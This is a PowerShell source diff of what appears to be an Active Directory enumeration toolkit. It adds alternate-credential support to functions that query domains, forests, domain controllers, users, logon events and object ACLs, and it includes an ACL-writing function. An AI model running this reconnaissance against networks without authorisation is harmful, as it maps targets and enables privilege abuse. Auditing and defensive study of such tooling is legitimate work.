- $Translate = New-Object -ComObject NameTranslate
-
- try {
- Invoke-Method $Translate "Init" (1, $Domain)
+ elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") {
+ $InputType = 'Canonical'
}
- catch [System.Management.Automation.MethodInvocationException] {
- Write-Debug "Error with translate init in Convert-NT4toCanonical: $_"
+ else {
+ Write-Warning "Can not identify InType for $ObjectName"
+ return $ObjectName
}
+ }
+ elseif($InputType -eq 'NT4') {
+ $ObjectName = $ObjectName.replace('/', '\')
+ }
- Set-Property $Translate "ChaseReferral" (0x60)
-
- try {
- Invoke-Method $Translate "Set" (3, $ObjectName)
- (Invoke-Method $Translate "Get" (2))
- }
- catch [System.Management.Automation.MethodInvocationException] {
- Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_"
+ if(!$PSBoundParameters['OutputType']) {
+ $OutputType = Switch($InputType) {
+ 'NT4' {'Canonical'}
+ 'Simple' {'NT4'}
+ 'Canonical' {'NT4'}
}
}
-}
-
-
-function Convert-CanonicaltoNT4 {
-<#
- .SYNOPSIS
-
- Converts a user@fqdn to NT4 format.
-
- .PARAMETER ObjectName
-
- The user/group name to convert, needs to be in 'DOMAIN\user' format.
-
- .LINK
-
- http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
-#>
-
- [CmdletBinding()]
- param(
- [String] $ObjectName
- )
- $Domain = ($ObjectName -split "@")[1]
-
- $ObjectName = $ObjectName -replace "/","\"
+ # try to extract the domain from the given format
+ $Domain = Switch($InputType) {
+ 'NT4' { $ObjectName.split("\")[0] }
+ 'Simple' { $ObjectName.split("@")[1] }
+ 'Canonical' { $ObjectName.split("/")[0] }
+ }
# Accessor functions to simplify calls to NameTranslate
- function Invoke-Method([__ComObject] $object, [String] $method, $parameters) {
- $output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters)
- if ( $output ) { $output }
+ function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
+ $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters)
+ if ( $Output ) { $Output }
}
- function Set-Property([__ComObject] $object, [String] $property, $parameters) {
- [Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters)
+ function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
+ [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters)
}
- $Translate = New-Object -comobject NameTranslate
+ $Translate = New-Object -ComObject NameTranslate
try {
Invoke-Method $Translate "Init" (1, $Domain)
}
- catch [System.Management.Automation.MethodInvocationException] { }
+ catch [System.Management.Automation.MethodInvocationException] {
+ Write-Debug "Error with translate init in Convert-ADName: $_"
+ }
Set-Property $Translate "ChaseReferral" (0x60)
try {
- Invoke-Method $Translate "Set" (5, $ObjectName)
- (Invoke-Method $Translate "Get" (3))
+ Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName)
+ (Invoke-Method $Translate "Get" ($NameTypes[$OutputType]))
+ }
+ catch [System.Management.Automation.MethodInvocationException] {
+ Write-Debug "Error with translate Set/Get in Convert-ADName: $_"
}
- catch [System.Management.Automation.MethodInvocationException] { $_ }
}
@@ -1264,7 +1130,7 @@ function ConvertFrom-UACValue {
[CmdletBinding()]
param(
- [Parameter(ValueFromPipeline=$True)]
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
$Value,
[Switch]
@@ -1272,7 +1138,6 @@ function ConvertFrom-UACValue {
)
begin {
-
# values from https://support.microsoft.com/en-us/kb/305144
$UACValues = New-Object System.Collections.Specialized.OrderedDictionary
$UACValues.Add("SCRIPT", 1)
@@ -1297,7 +1162,6 @@ function ConvertFrom-UACValue {
$UACValues.Add("PASSWORD_EXPIRED", 8388608)
$UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
-
}
process {
@@ -1307,40 +1171,39 @@ function ConvertFrom-UACValue {
if($Value -is [Int]) {
$IntValue = $Value
}
-
- if ($Value -is [PSCustomObject]) {
+ elseif ($Value -is [PSCustomObject]) {
if($Value.useraccountcontrol) {
$IntValue = $Value.useraccountcontrol
}
}
+ else {
+ Write-Warning "Invalid object input for -Value : $Value"
+ return $Null
+ }
- if($IntValue) {
-
- if($ShowAll) {
- foreach ($UACValue in $UACValues.GetEnumerator()) {
- if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
- $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
- }
- else {
- $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
- }
+ if($ShowAll) {
+ foreach ($UACValue in $UACValues.GetEnumerator()) {
+ if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
+ $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
+ }
+ else {
+ $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
- else {
- foreach ($UACValue in $UACValues.GetEnumerator()) {
- if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
- $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
- }
- }
+ }
+ else {
+ foreach ($UACValue in $UACValues.GetEnumerator()) {
+ if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
+ $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
+ }
}
}
-
$ResultUACValues
}
}
-function Get-Proxy {
+filter Get-Proxy {
<#
.SYNOPSIS
@@ -1363,52 +1226,66 @@ function Get-Proxy {
$ComputerName = $ENV:COMPUTERNAME
)
- process {
- try {
- $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName)
- $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings")
- $ProxyServer = $RegKey.GetValue('ProxyServer')
- $AutoConfigURL = $RegKey.GetValue('AutoConfigURL')
+ try {
+ $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName)
+ $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings")
+ $ProxyServer = $RegKey.GetValue('ProxyServer')
+ $AutoConfigURL = $RegKey.GetValue('AutoConfigURL')
- if($AutoConfigURL -and ($AutoConfigURL -ne "")) {
- try {
- $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)
- }
- catch {
- $Wpad = ""
- }
+ $Wpad = ""
+ if($AutoConfigURL -and ($AutoConfigURL -ne "")) {
+ try {
+ $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)
}
- else {
- $Wpad = ""
+ catch {
+ Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL"
}
-
- if($ProxyServer -or $AutoConfigUrl) {
+ }
+
+ if($ProxyServer -or $AutoConfigUrl) {
- $Properties = @{
- 'ProxyServer' = $ProxyServer
- 'AutoConfigURL' = $AutoConfigURL
- 'Wpad' = $Wpad
- }
-
- New-Object -TypeName PSObject -Property $Properties
- }
- else {
- Write-Warning "No proxy settings found for $ComputerName"
+ $Properties = @{
+ 'ProxyServer' = $ProxyServer
+ 'AutoConfigURL' = $AutoConfigURL
+ 'Wpad' = $Wpad
}
+
+ New-Object -TypeName PSObject -Property $Properties
}
- catch {
- Write-Warning "Error enumerating proxy settings for $ComputerName"
+ else {
+ Write-Warning "No proxy settings found for $ComputerName"
}
}
+ catch {
+ Write-Warning "Error enumerating proxy settings for $ComputerName : $_"
+ }
}
function Get-PathAcl {
+<#
+ .SYNOPSIS
+
+ Enumerates the ACL for a given file path.
+
+ .PARAMETER Path
+
+ The local/remote path to enumerate the ACLs for.
+
+ .PARAMETER Recurse
+
+ If any ACL results are groups, recurse and retrieve user membership.
+
+ .EXAMPLE
+ PS C:\> Get-PathAcl "\\SERVER\Share\"
+
+ Returns ACLs for the given UNC share.
+#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
- [string]
+ [String]
$Path,
[Switch]
@@ -1491,7 +1368,7 @@ function Get-PathAcl {
$Names = @()
$SIDs = @($Object.objectsid)
- if ($Recurse -and ($Object.samAccountType -ne "805306368")) {
+ if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) {
$SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid
}
@@ -1521,41 +1398,83 @@ function Get-PathAcl {
}
-function Get-NameField {
- # function that attempts to extract the appropriate field name
- # from various passed objects. This is so functions can have
- # multiple types of objects passed on the pipeline.
+filter Get-NameField {
+<#
+ .SYNOPSIS
+
+ Helper that attempts to extract appropriate field names from
+ passed computer objects.
+
+ .PARAMETER Object
+
+ The passed object to extract name fields from.
+
+ .PARAMETER DnsHostName
+
+ A DnsHostName to extract through ValueFromPipelineByPropertyName.
+
+ .PARAMETER Name
+
+ A Name to extract through ValueFromPipelineByPropertyName.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer -FullData | Get-NameField
+#>
[CmdletBinding()]
param(
- [Parameter(Mandatory=$True,ValueFromPipeline=$True)]
- $Object
+ [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Object]
+ $Object,
+
+ [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [String]
+ $DnsHostName,
+
+ [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [String]
+ $Name
)
- process {
- if($Object) {
- if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {
- # objects from Get-NetComputer
- $Object.dnshostname
- }
- elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {
- # objects from Get-NetDomainController
- $Object.name
- }
- else {
- # strings and catch alls
- $Object
- }
+
+ if($PSBoundParameters['DnsHostName']) {
+ $DnsHostName
+ }
+ elseif($PSBoundParameters['Name']) {
+ $Name
+ }
+ elseif($Object) {
+ if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {
+ # objects from Get-NetComputer
+ $Object.dnshostname
+ }
+ elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {
+ # objects from Get-NetDomainController
+ $Object.name
}
else {
- return $Null
+ # strings and catch alls
+ $Object
}
}
+ else {
+ return $Null
+ }
}
function Convert-LDAPProperty {
- # helper to convert specific LDAP property result fields
+<#
+ .SYNOPSIS
+
+ Helper that converts specific LDAP property result fields.
+ Used by several of the Get-Net* function.
+
+ .PARAMETER Properties
+
+ Properties object to extract out LDAP fields for display.
+#>
param(
- [Parameter(Mandatory=$True,ValueFromPipeline=$True)]
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
[ValidateNotNullOrEmpty()]
$Properties
)
@@ -1585,7 +1504,7 @@ function Convert-LDAPProperty {
}
}
elseif($Properties[$_][0] -is [System.MarshalByRefObject]) {
- # convert misc com objects
+ # try to convert misc com objects
$Prop = $Properties[$_]
try {
$Temp = $Prop[$_][0]
@@ -1617,7 +1536,7 @@ function Convert-LDAPProperty {
#
########################################################
-function Get-DomainSearcher {
+filter Get-DomainSearcher {
<#
.SYNOPSIS
@@ -1645,6 +1564,11 @@ function Get-DomainSearcher {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-DomainSearcher -Domain testlab.local
@@ -1654,8 +1578,8 @@ function Get-DomainSearcher {
PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local
#>
- [CmdletBinding()]
param(
+ [Parameter(ValueFromPipeline=$True)]
[String]
$Domain,
@@ -1670,14 +1594,17 @@ function Get-DomainSearcher {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
- if(!$Domain) {
- $Domain = (Get-NetDomain).name
- }
- else {
- if(!$DomainController) {
+ if(!$Credential) {
+ if(!$Domain){
+ $Domain = (Get-NetDomain).name
+ }
+ elseif(!$DomainController) {
try {
# if there's no -DomainController specified, try to pull the primary DC
# to reflect queries through
@@ -1688,12 +1615,28 @@ function Get-DomainSearcher {
}
}
}
+ elseif (!$DomainController) {
+ try {
+ $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
+ }
+ catch {
+ throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
+ }
+
+ if(!$DomainController) {
+ throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
+ }
+ }
$SearchString = "LDAP://"
if($DomainController) {
- $SearchString += $DomainController + "/"
+ $SearchString += $DomainController
+ if($Domain){
+ $SearchString += "/"
+ }
}
+
if($ADSprefix) {
$SearchString += $ADSprefix + ","
}
@@ -1701,30 +1644,45 @@ function Get-DomainSearcher {
if($ADSpath) {
if($ADSpath -like "GC://*") {
# if we're searching the global catalog
- $DistinguishedName = $AdsPath
+ $DN = $AdsPath
$SearchString = ""
}
else {
if($ADSpath -like "LDAP://*") {
- $ADSpath = $ADSpath.Substring(7)
+ if($ADSpath -match "LDAP://.+/.+") {
+ $SearchString = ""
+ }
+ else {
+ $ADSpath = $ADSpath.Substring(7)
+ }
}
- $DistinguishedName = $ADSpath
+ $DN = $ADSpath
}
}
else {
- $DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))"
+ if($Domain -and ($Domain.Trim() -ne "")) {
+ $DN = "DC=$($Domain.Replace('.', ',DC='))"
+ }
}
- $SearchString += $DistinguishedName
+ $SearchString += $DN
Write-Verbose "Get-DomainSearcher search string: $SearchString"
- $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
+ if($Credential) {
+ Write-Verbose "Using alternate credentials for LDAP connection"
+ $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
+ $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
+ }
+ else {
+ $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
+ }
+
$Searcher.PageSize = $PageSize
$Searcher
}
-function Get-NetDomain {
+filter Get-NetDomain {
<#
.SYNOPSIS
@@ -1734,41 +1692,70 @@ function Get-NetDomain {
The domain name to query for, defaults to the current domain.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-NetDomain -Domain testlab.local
+ .EXAMPLE
+
+ PS C:\> "testlab.local" | Get-NetDomain
+
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
- [CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
- $Domain
+ $Domain,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
- process {
- if($Domain) {
- $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
- try {
- [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
- }
- catch {
- Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
- $Null
- }
+ if($Credential) {
+
+ Write-Verbose "Using alternate credentials for Get-NetDomain"
+
+ if(!$Domain) {
+ # if no domain is supplied, extract the logon domain from the PSCredential passed
+ $Domain = $Credential.GetNetworkCredential().Domain
+ Write-Verbose "Extracted domain '$Domain' from -Credential"
}
- else {
- [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+
+ $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
+
+ try {
+ [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
+ }
+ catch {
+ Write-Warning "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
+ $Null
}
}
+ elseif($Domain) {
+ $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
+ try {
+ [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
+ }
+ catch {
+ Write-Warning "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust."
+ $Null
+ }
+ }
+ else {
+ [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
}
-function Get-NetForest {
+filter Get-NetForest {
<#
.SYNOPSIS
@@ -1778,47 +1765,76 @@ function Get-NetForest {
The forest name to query for, defaults to the current domain.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-NetForest -Forest external.domain
+
+ .EXAMPLE
+
+ PS C:\> "external.domain" | Get-NetForest
#>
- [CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
- $Forest
+ $Forest,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
- process {
- if($Forest) {
- $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
- try {
- $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
- }
- catch {
- Write-Debug "The specified forest $Forest does not exist, could not be contacted, or there isn't an existing trust."
- $Null
- }
+ if($Credential) {
+
+ Write-Verbose "Using alternate credentials for Get-NetForest"
+
+ if(!$Forest) {
+ # if no domain is supplied, extract the logon domain from the PSCredential passed
+ $Forest = $Credential.GetNetworkCredential().Domain
+ Write-Verbose "Extracted domain '$Forest' from -Credential"
}
- else {
- # otherwise use the current forest
- $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
+
+ $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
+
+ try {
+ $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
-
- if($ForestObject) {
- # get the SID of the forest root
- $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
- $Parts = $ForestSid -Split "-"
- $ForestSid = $Parts[0..$($Parts.length-2)] -join "-"
- $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
- $ForestObject
+ catch {
+ Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
+ $Null
}
}
+ elseif($Forest) {
+ $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
+ try {
+ $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
+ }
+ catch {
+ Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust."
+ return $Null
+ }
+ }
+ else {
+ # otherwise use the current forest
+ $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
+ }
+
+ if($ForestObject) {
+ # get the SID of the forest root
+ $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
+ $Parts = $ForestSid -Split "-"
+ $ForestSid = $Parts[0..$($Parts.length-2)] -join "-"
+ $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
+ $ForestObject
+ }
}
-function Get-NetForestDomain {
+filter Get-NetForestDomain {
<#
.SYNOPSIS
@@ -1828,9 +1844,10 @@ function Get-NetForestDomain {
The forest name to query domain for.
- .PARAMETER Domain
+ .PARAMETER Credential
- Return domains that match this term/wildcard.
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
.EXAMPLE
@@ -1841,39 +1858,24 @@ function Get-NetForestDomain {
PS C:\> Get-NetForestDomain -Forest external.local
#>
- [CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Forest,
- [String]
- $Domain
+ [Management.Automation.PSCredential]
+ $Credential
)
- process {
- if($Domain) {
- # try to detect a wild card so we use -like
- if($Domain.Contains('*')) {
- (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name -like $Domain}
- }
- else {
- # match the exact domain name if there's not a wildcard
- (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name.ToLower() -eq $Domain.ToLower()}
- }
- }
- else {
- # return all domains
- $ForestObject = Get-NetForest -Forest $Forest
- if($ForestObject) {
- $ForestObject.Domains
- }
- }
+ $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential
+
+ if($ForestObject) {
+ $ForestObject.Domains
}
}
-function Get-NetForestCatalog {
+filter Get-NetForestCatalog {
<#
.SYNOPSIS
@@ -1883,28 +1885,34 @@ function Get-NetForestCatalog {
The forest name to query domain for.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-NetForestCatalog
#>
-
- [CmdletBinding()]
+
param(
[Parameter(ValueFromPipeline=$True)]
[String]
- $Forest
+ $Forest,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
- process {
- $ForestObject = Get-NetForest -Forest $Forest
- if($ForestObject) {
- $ForestObject.FindAllGlobalCatalogs()
- }
+ $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential
+
+ if($ForestObject) {
+ $ForestObject.FindAllGlobalCatalogs()
}
}
-function Get-NetDomainController {
+filter Get-NetDomainController {
<#
.SYNOPSIS
@@ -1922,9 +1930,28 @@ function Get-NetDomainController {
Switch. Use LDAP queries to determine the domain controllers.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetDomainController -Domain 'test.local'
+
+ Determine the domain controllers for 'test.local'.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetDomainController -Domain 'test.local' -LDAP
+
+ Determine the domain controllers for 'test.local' using LDAP queries.
+
.EXAMPLE
- PS C:\> Get-NetDomainController -Domain test
+ PS C:\> 'test.local' | Get-NetDomainController
+
+ Determine the domain controllers for 'test.local'.
#>
[CmdletBinding()]
@@ -1937,20 +1964,20 @@ function Get-NetDomainController {
$DomainController,
[Switch]
- $LDAP
+ $LDAP,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
- process {
- if($LDAP -or $DomainController) {
- # filter string to return all domain controllers
- Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
- }
- else {
- $FoundDomain = Get-NetDomain -Domain $Domain
-
- if($FoundDomain) {
- $Founddomain.DomainControllers
- }
+ if($LDAP -or $DomainController) {
+ # filter string to return all domain controllers
+ Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
+ }
+ else {
+ $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
+ if($FoundDomain) {
+ $Founddomain.DomainControllers
}
}
}
@@ -2012,6 +2039,11 @@ function Get-NetUser {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-NetUser -Domain testing
@@ -2021,9 +2053,8 @@ function Get-NetUser {
PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local"
#>
- [CmdletBinding()]
param(
- [Parameter(ValueFromPipeline=$True)]
+ [Parameter(Position=0, ValueFromPipeline=$True)]
[String]
$UserName,
@@ -2053,12 +2084,15 @@ function Get-NetUser {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
begin {
# so this isn't repeated if users are passed on the pipeline
- $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize
+ $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential
}
process {
@@ -2395,6 +2429,11 @@ function Get-UserProperty {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-UserProperty -Domain testing
@@ -2426,22 +2465,25 @@ function Get-UserProperty {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
if($Properties) {
# extract out the set of all properties for each object
$Properties = ,"name" + $Properties
- Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -Property $Properties
+ Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties
}
else {
# extract out just the property names
- Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name'
+ Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name'
}
}
-function Find-UserField {
+filter Find-UserField {
<#
.SYNOPSIS
@@ -2476,6 +2518,11 @@ function Find-UserField {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Find-UserField -SearchField info -SearchTerm backup
@@ -2503,16 +2550,17 @@ function Find-UserField {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
- )
+ $PageSize = 200,
- process {
- Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
- }
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
}
-function Get-UserEvent {
+filter Get-UserEvent {
<#
.SYNOPSIS
@@ -2534,7 +2582,12 @@ function Get-UserEvent {
.PARAMETER DateStart
Filter out all events before this date. Default: 5 days
-
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local
@@ -2545,6 +2598,7 @@ function Get-UserEvent {
#>
Param(
+ [Parameter(ValueFromPipeline=$True)]
[String]
$ComputerName = $Env:ComputerName,
@@ -2553,7 +2607,10 @@ function Get-UserEvent {
$EventType = "logon",
[DateTime]
- $DateStart=[DateTime]::Today.AddDays(-5)
+ $DateStart = [DateTime]::Today.AddDays(-5),
+
+ [Management.Automation.PSCredential]
+ $Credential
)
if($EventType.ToLower() -like "logon") {
@@ -2566,8 +2623,25 @@ function Get-UserEvent {
[Int32[]]$ID = @(4624, 4768)
}
- #grab all events matching our filter for the specified host
- Get-WinEvent -ComputerName $ComputerName -FilterHashTable @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart} -ErrorAction SilentlyContinue | ForEach-Object {
+ if($Credential) {
+ Write-Verbose "Using alternative credentials"
+ $Arguments = @{
+ 'ComputerName' = $ComputerName;
+ 'Credential' = $Credential;
+ 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
+ 'ErrorAction' = 'SilentlyContinue';
+ }
+ }
+ else {
+ $Arguments = @{
+ 'ComputerName' = $ComputerName;
+ 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
+ 'ErrorAction' = 'SilentlyContinue';
+ }
+ }
+
+ # grab all events matching our filter for the specified host
+ Get-WinEvent @Arguments | ForEach-Object {
if($ID -contains 4624) {
# first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10)
@@ -2763,7 +2837,7 @@ function Get-ObjectAcl {
)
begin {
- $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize
+ $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize
# get a GUID -> name mapping
if($ResolveGUIDs) {
@@ -2783,12 +2857,13 @@ function Get-ObjectAcl {
}
try {
- $Searcher.FindAll() | Where-Object {$_} | Foreach-Object {
+ $Searcher.FindAll() | Where-Object {$_} | ForEach-Object {
$Object = [adsi]($_.path)
+
if($Object.distinguishedname) {
$Access = $Object.PsBase.ObjectSecurity.access
$Access | ForEach-Object {
- $_ | Add-Member NoteProperty 'ObjectDN' ($Object.distinguishedname[0])
+ $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
if($Object.objectsid[0]){
$S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
@@ -2813,7 +2888,7 @@ function Get-ObjectAcl {
else {
$_
}
- } | Foreach-Object {
+ } | ForEach-Object {
if($GUIDs) {
# if we're resolving GUIDs, map them them to the resolved hash table
$AclProperties = @{}
@@ -3005,7 +3080,7 @@ function Add-ObjectAcl {
}
try {
- $Searcher.FindAll() | Where-Object {$_} | Foreach-Object {
+ $Searcher.FindAll() | Where-Object {$_} | ForEach-Object {
# adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects
$TargetDN = $_.Properties.distinguishedname
@@ -3170,6 +3245,7 @@ function Invoke-ACLScanner {
} | Where-Object {
